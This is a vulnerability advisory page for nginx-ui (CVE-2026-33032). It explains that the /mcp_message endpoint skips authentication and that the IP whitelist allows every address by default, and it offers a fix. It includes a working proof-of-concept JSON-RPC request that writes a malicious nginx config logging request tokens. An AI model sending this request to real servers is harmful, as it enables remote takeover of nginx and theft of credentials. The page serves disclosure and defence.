Skip to content

GHSA-h6c2-x2m2-mwhf CVE-2026-33032 GO-2026-4904

nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

Critical Go
Severity
9.8 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
35.27%
Chance of exploitation in the next 30 days. Higher than 98.44% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
Fix
None yet
No fixed version published

Description

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all

func IPWhiteList() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
		// ...
	}
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/:

  • restart_nginx - restart the nginx process
  • reload_nginx - reload nginx configuration
  • nginx_status - read nginx status

From mcp/config/:

  • nginx_config_add - create new nginx config files
  • nginx_config_modify - modify existing config files
  • nginx_config_list - list all configurations
  • nginx_config_get - read config file contents
  • nginx_config_enable - enable/disable sites
  • nginx_config_rename - rename config files
  • nginx_config_mkdir - create directories
  • nginx_config_history - view config history
  • nginx_config_base_path - get nginx config directory path

Attack Scenario

  1. Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
  2. No authentication is required - IP whitelist is empty by default
  3. Attacker invokes nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)
  4. nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directly
  5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:

if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact

  • Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
  • Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
  • Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
  • Configuration exfiltration: All existing nginx configs are readable via nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
  • Credential harvesting: By injecting access_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcp_message route:

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Affected versions

Go

PackageVulnerableFixed in
github.com/0xJacky/Nginx-UI
<= 1.99
No fix yet
github.com/0xJacky/Nginx-UI
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6773
Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-vc32-4gwf-77xp
Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools
High Also affects github.com/0xJacky/Nginx-UI
GHSA-wq4w-vwvq-q3x9
Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-jrq7-xrjx-pcfw
Nginx UI: Auto backup name allows path traversal outside validated storage path
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-5r62-gj48-897x
Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
High Also affects github.com/0xJacky/Nginx-UI
GHSA-9jww-cxg5-rj9m
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
High Also affects github.com/0xJacky/Nginx-UI
GHSA-76pm-mq2q-9gcr
Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-cf23-7qxj-xmhr
Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor